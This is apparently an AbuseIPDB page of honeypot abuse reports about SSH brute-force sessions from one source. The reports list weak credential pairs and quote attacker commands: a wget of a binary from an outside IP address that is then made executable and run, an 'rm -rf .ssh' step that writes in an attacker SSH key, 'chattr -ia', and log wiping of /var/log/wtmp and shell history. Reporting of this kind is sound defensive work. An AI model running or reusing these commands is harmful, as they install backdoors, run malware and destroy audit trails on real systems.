Observed 9 SSH sessions from SSH-2.0-Go using repeated root login attempts with weak passwords: 1234 ...
show moreObserved 9 SSH sessions from SSH-2.0-Go using repeated root login attempts with weak passwords: 123456789, 1234567890, 123456a, 123456b, 123abc, 123qwe, 1q2w3e4r, 555555. After login, the host ran sudo-wrapped checks to discover CPU count (nproc, /usr/bin/nproc, busybox nproc, /proc/cpuinfo) and executed numerous marker/heartbeat commands such as echoing check_*_transport_done values. No file downloads, dropped artifacts, persistence, port forwarding, or lateral movement were observed. The activity is consistent with automated SSH brute forcing followed by environment reconnaissance and command execution.
show less
Two SSH sessions with SSH-2.0-Go used credentials ec2-user/123456 and master/wasd. The actor uploade ...
show moreTwo SSH sessions with SSH-2.0-Go used credentials ec2-user/123456 and master/wasd. The actor uploaded a file named .16 twice, then tried to run it from /home/<user>/.16, mark it executable with chmod +x, and remove it with rm -rf. Commands also show sudo attempts using both passwords, with empty sh -c invocations and repeated execution/removal cycles. Additional commands printed transport markers including check_0d25d2e4008781b48b90f2ff2a7de94e_transport_done and check_ad85e75f0f7b6ada6ca3f8e9f73fa451_transport_done. No successful login shell, persistence, port forwarding, lateral movement, or other downloaded payloads were observed beyond the uploaded .16 file.
show less
SSH login attempts used root with passwords 000000 and 111111 over 3 sessions from SSH-2.0-Go. After ...
show moreSSH login attempts used root with passwords 000000 and 111111 over 3 sessions from SSH-2.0-Go. After access, the host ran environment and system discovery commands: nproc via sudo, uname, export PATH, and several shell function/probe strings like check_262bb39c229a854ee1666be043d2090d_transport_done and similar. No payload download, file drop, persistence setup, port forwarding, credential harvesting, or lateral movement was observed. Activity was limited to recon and command probing.
show less
Two SSH sessions used SSH-2.0-Go with credentials admin/letmein and master/wasd. After login, the ac ...
show moreTwo SSH sessions used SSH-2.0-Go with credentials admin/letmein and master/wasd. After login, the actor uploaded a file named .16 twice to /home/honeypot/.16, made it executable, and attempted to run it. The session shows repeated sudo use with both passwords, indicating privilege escalation attempts. After execution attempts, the actor issued cleanup commands to delete /home/<user>/.16, clear command history, and wipe /var/log/wtmp: rm -rf, history -c, and echo -n '' > /var/log/wtmp. Additional commands were limited to status checks such as "check_65aee90d9403e7f2afe48c795d01e7e6_transport_done" and "check_ac2f8e3627adce1b875d4b4b1018818c_transport_done". No lateral movement or port forwards were observed.
show less
SSH brute-force activity from SSH-2.0-libssh_0.9.6 using multiple root credential attempts: root/@WS ...
show moreSSH brute-force activity from SSH-2.0-libssh_0.9.6 using multiple root credential attempts: root/@WSXcde3, root/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123. After access, the actor ran “cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx”” to replace the SSH authorized keys directory with attacker-controlled content, then “cd ~; chattr -ia .ssh; lockr -ia .ssh” to remove immutable attributes and alter the .ssh directory. No downloads, dropped files, port forwarding, or lateral movement were observed.
show less
Multiple SSH login attempts over 20s using root/\\, root/root3245gs5662d34111111111, and rootssssss2 ...
show moreMultiple SSH login attempts over 20s using root/\\, root/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123 from SSH-2.0-libssh_0.9.6. After access, the actor ran “cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx” to remove and recreate the SSH directory and start adding an authorized key. A second command, “cd ~; chattr -ia .ssh; lockr -ia .ssh”, targeted filesystem attributes on .ssh to interfere with protection/removal. No downloads, lateral movement, or dropped artifacts were observed.
show less
Multiple SSH brute-force logins using admin/letmein, admin1/123, ec2-user/123456, master/wasd, and r ...
show moreMultiple SSH brute-force logins using admin/letmein, admin1/123, ec2-user/123456, master/wasd, and root/root from SSH-2.0-Go and SSH-2.0-paramiko_4.0.0 clients. After login, the actor uploaded /home/honeypot/.16 twice and executed it from /home/<user>/.16 after running chmod +x. The same file was then removed with rm -rf. Commands also attempted sudo execution with the passwords root and wasd. One session included cleanup actions to clear logs and traces: echo -n '' > /var/log/wtmp, rm -rf .bash_history, and history -c. No lateral movement or port forwarding was observed. The activity shows credential guessing, payload upload/execution, and anti-forensics/log wiping.
show less
Multiple SSH login attempts were observed over 6 sessions using SSH-2.0-libssh_0.9.6 and the credent ...
show moreMultiple SSH login attempts were observed over 6 sessions using SSH-2.0-libssh_0.9.6 and the credentials rootssssss23424123123/rootssssss23424123123, slave/root3245gs5662d34111111111, and slave/slave. After access, the actor ran cd ~ && rm -rf .ssh && mkdir .ssh and started writing an ssh-rsa public key into .ssh for access persistence. A second command attempted to remove immutable/append-only attributes with chattr -ia .ssh and lockr -ia .ssh. No file downloads, lateral movement, or other payload execution were observed.
show less
3 SSH sessions in 7 seconds from SSH-2.0-libssh_0.11.1. Tried 3 login pairs: 345gs5662d34/345gs5662d ...
show more3 SSH sessions in 7 seconds from SSH-2.0-libssh_0.11.1. Tried 3 login pairs: 345gs5662d34/345gs5662d34, root/3245gs5662d34, and root/a123456!. After access, ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx... to replace authorized_keys content, then cd ~; chattr -ia .ssh; lockr -ia .ssh to remove immutable attributes. No downloads, malware drop, port forwarding, or lateral movement observed. Activity is credential guessing followed by SSH key setup and attribute tampering for persistence/access retention.
show less
Observed 3 SSH sessions from the same source over ~6 seconds using SSH-2.0-libssh_0.9.6. Two credent ...
show moreObserved 3 SSH sessions from the same source over ~6 seconds using SSH-2.0-libssh_0.9.6. Two credential pairs were attempted: 345gs5662d34/345gs5662d34 and manager/manager. After login, the actor ran commands to remove and recreate the .ssh directory and append an SSH public key, showing attempted unauthorized key-based persistence. A second command tried to disable immutable/append-only attributes on .ssh with chattr -ia, followed by lockr -ia .ssh. No payload downloads, malware drop, port forwarding, or lateral movement were observed.
show less
SSH brute-force activity with 3 sessions in 7 seconds using libssh_0.9.6. Tried credentials 345gs566 ...
show moreSSH brute-force activity with 3 sessions in 7 seconds using libssh_0.9.6. Tried credentials 345gs5662d34/345gs5662d34, root/3245gs5662d34, and root/solomon. After login, attacker attempted to replace the SSH authorized-keys setup by running: cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx...
Second command: cd ~; chattr -ia .ssh; lockr -ia .ssh
Observed activity focused on SSH credential attacks and attempted persistence by modifying ~/.ssh and removing filesystem immutability attributes. No downloads, port forwards, lateral movement, or dropped artifacts were observed.
show less
Two SSH sessions in 40s using credentials ec2-user/123456 and master/wasd over SSH-2.0-Go. Attacker ...
show moreTwo SSH sessions in 40s using credentials ec2-user/123456 and master/wasd over SSH-2.0-Go. Attacker uploaded /home/honeypot/.16 twice, then tried to run it from /home/<user>/.16, chmod +x it, and delete it. They used sudo with both passwords, then issued cleanup commands to remove /home/<user>/.16, clear /var/log/wtmp, delete .bash_history, and run history -c. Other commands included echo markers check_0e1e0c86f5d8cdc1f82efe69ad2092b1_transport_done and check_8786752993cc5a90e8a57650de26e6c8_transport_done. Observed activity shows credential guessing, file upload/execution, and log-trace deletion attempts.
show less
Observed 2 SSH sessions over 5 minutes using root/111111 from an SSH-2.0-Go client. Activity was lim ...
show moreObserved 2 SSH sessions over 5 minutes using root/111111 from an SSH-2.0-Go client. Activity was limited to host and CPU enumeration plus wrapper/test commands: uname, nproc checks, PATH export, and multiple sh -c probes printing “check_*” markers. One command attempted sudo with the same password to run nproc. No downloads, file writes, persistence, port forwarding, lateral movement, or additional credential attempts were observed. No malware payloads, artifacts, or hashes were observed.
show less
3 SSH sessions in 14s from libssh_0.9.6. Tried logins: 345gs5662d34/345gs5662d34, eservice/3245gs566 ...
show more3 SSH sessions in 14s from libssh_0.9.6. Tried logins: 345gs5662d34/345gs5662d34, eservice/3245gs5662d34, eservice/eservice. After login it ran "cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx"..." to replace the SSH authorized_keys file, then "cd ~; chattr -ia .ssh; lockr -ia .ssh" to remove immutable flags and modify .ssh. No downloads, port forwards, lateral movement, or artifacts were observed.
show less
Two SSH sessions from SSH-2.0-Go used credentials admin1/123 and master/wasd. Activity focused on de ...
show moreTwo SSH sessions from SSH-2.0-Go used credentials admin1/123 and master/wasd. Activity focused on deploying and testing a dropped file named .16, uploaded twice to /home/honeypot/.16. After upload, the actor tried to run the file directly and via sudo with both passwords, made it executable with chmod +x, then removed it with rm -rf. Commands also printed check_2c4f21153f3ee751c9f0907f25339596_transport_done and check_4e148f6f2d7ecfca83924513125cf04b_transport_done, then 29 additional unique commands not listed. No successful persistence, lateral movement, or downloads were observed. Creds used: admin1/123, master/wasd.
show less
SSH brute-force activity followed by attempted SSH key installation and anti-protection actions. Obs ...
show moreSSH brute-force activity followed by attempted SSH key installation and anti-protection actions. Observed 6 sessions using SSH-2.0-libssh_0.9.6 with credentials b2b/b2b, b2b/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123. After access, the actor ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx... and cd ~; chattr -ia .ssh; lockr -ia .ssh. This shows deletion/recreation of the SSH directory, attempted public key placement for persistence, and attempts to remove immutable/append-only attributes or similar protections before further access. No file downloads, malware drop, lateral movement, or port forwarding were observed.
show less
Single SSH session using root/------fuck------. Attacker checked system info with uname -m and uname ...
show moreSingle SSH session using root/------fuck------. Attacker checked system info with uname -m and uname -s, then attempted to stage a binary: cd /tmp; rm -f aarch64; wget -t 1 hxxp://31[.]56[.]209[.]73:32461/s/aarch64, followed by chmod 777 /tmp/aarch64 and execution of /tmp/aarch64. Dropped artifact recovered: aarch64, large binary, 4.9 MB, SHA-256 0ed1b127a19c6ddf304bdb75707ae45c06cb4c994456c6c665ceb360d80bf1d0. No persistence, port forwarding, or lateral movement observed in this session.
show less
7 SSH sessions in ~4 minutes using SSH-2.0-Go and SSH-2.0-paramiko_4.0.0. Tried weak credentials: ad ...
show more7 SSH sessions in ~4 minutes using SSH-2.0-Go and SSH-2.0-paramiko_4.0.0. Tried weak credentials: admin/letmein, admin1/123, ec2-user/123456, master/wasd, root/root. Uploaded file .16 twice. Executed the uploaded payload from /home/<user>/.16, then ran chmod +x on it and removed it with rm -rf after execution. Also attempted sudo execution paths with supplied passwords via echo '123' | sudo -S and echo 'wasd' | sudo -S. Other commands were limited to status checks like echo 'check_..._transport_done'. No port forwards, persistence, lateral movement, or other downloads were observed.
show less
Multiple SSH login attempts from SSH-2.0-libssh_0.9.6 used weak credentials: hello/hello, hello/root ...
show moreMultiple SSH login attempts from SSH-2.0-libssh_0.9.6 used weak credentials: hello/hello, hello/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123. After access, the session ran commands to remove and recreate the ~/.ssh directory, then wrote an ssh-rsa public key into ~/.ssh for unauthorized access persistence. A second command attempted to clear immutable/append-only attributes on ~/.ssh with chattr -ia and lockr -ia. No downloads, lateral movement, or dropped artifacts were observed.
show less
3 SSH sessions in 7 seconds using SSH-2.0-libssh_0.9.6. Login attempts used 345gs5662d34/345gs5662d3 ...
show more3 SSH sessions in 7 seconds using SSH-2.0-libssh_0.9.6. Login attempts used 345gs5662d34/345gs5662d34, nokia/3245gs5662d34, and nokia/nokia. After access, the actor ran "cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx" to remove and recreate the SSH directory and write an SSH public key, then "cd ~; chattr -ia .ssh; lockr -ia .ssh" to clear immutable/append-only flags and lock .ssh. No downloads, dropped files, port forwards, or lateral movement were observed.
show less
SSH login attempts used admin/letmein and admin1/123 over SSH-2.0-Go. After access, the actor upload ...
show moreSSH login attempts used admin/letmein and admin1/123 over SSH-2.0-Go. After access, the actor uploaded /home/honeypot/.16 twice, made it executable with chmod +x, attempted to run it via sudo and direct execution, then removed it with rm -rf. The session also sent marker commands echoing check_028164171a7d75938b4b9ad56e7656db_transport_done and check_516c79110f936977c8ee12ee5021c4b1_transport_done. No lateral movement, port forwarding, or additional files were observed. 44 total commands across 39 unique commands indicate automated post-auth execution focused on staging and launching a dropped binary, then cleanup.
show less
Attempted SSH logins with admin1/123 and ec2-user/123456 from an SSH-2.0-Go client. After login, the ...
show moreAttempted SSH logins with admin1/123 and ec2-user/123456 from an SSH-2.0-Go client. After login, the session checked for and executed a payload at /home/<user>/.16, ran it under sudo attempts, then changed it to executable with chmod +x and removed it with rm -rf. The same payload was uploaded twice as /home/honeypot/.16. Commands also included simple checks like echo 'check_094063c70b3ca0759e2663d13afb0c8d_transport_done' and echo 'check_7e8704edea5c0361f77cd4a84973efec_transport_done'. No additional downloads, persistence, port forwarding, or lateral movement were observed.
show less
Nine SSH sessions in 5 minutes from Go and paramiko clients. Tried credentials: admin/letmein, admin ...
show moreNine SSH sessions in 5 minutes from Go and paramiko clients. Tried credentials: admin/letmein, admin1/123, ec2-user/123456, master/, root/. Uploaded /home/honeypot/.16 twice, then attempted to execute it via sudo and direct shell, followed by chmod +x and rm -rf cleanup attempts. Commands show repeated checks for transport completion tokens: check_2210c98029dcb67319b8c1b5821d03e4_transport_done and check_5ca0b263d39a7468d6ffa27079f75b8d_transport_done. No download URLs, port forwarding, lateral movement, or other persistence mechanisms observed. Reported activity is credential guessing, file upload, execution attempts, and removal of the dropped file.
show less
Two SSH sessions in 55 seconds using SSH-2.0-Go and credentials admin/letmein and root/root. Attacke ...
show moreTwo SSH sessions in 55 seconds using SSH-2.0-Go and credentials admin/letmein and root/root. Attacker uploaded the file /home/honeypot/.16 twice, then tried to execute it from /home/<user>/.16, ran chmod +x on that path, and repeatedly attempted rm -rf to remove it. Commands show sudo abuse with both passwords: echo 'letmein' | sudo -S ... and echo 'root' | sudo -S .... The session also included simple transport-check echoes (check_127de2489092118f5f5ca491f08ef68b_transport_done, check_1348835bc7bf8994d50a30ea8810ff26_transport_done). Observed activity: credential guessing, file upload, execution attempt, permission change, and cleanup/removal attempt. No lateral movement, port forwarding, or additional downloads were observed.
show less
Multiple SSH login attempts were made with the credentials joao/123456, joao/root3245gs5662d34111111 ...
show moreMultiple SSH login attempts were made with the credentials joao/123456, joao/root3245gs5662d34111111111, and rootssssss23424123123/rootssssss23424123123 using SSH-2.0-libssh_0.9.6. After access, the actor ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXx and cd ~; chattr -ia .ssh; lockr -ia .ssh. Observed activity focused on creating/modifying the .ssh directory and trying to remove immutable attributes with chattr and lockr. No downloads, payload execution, persistence beyond .ssh changes, port forwarding, lateral movement, or dropped files were observed.
show less
Brute-ForceSSH
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.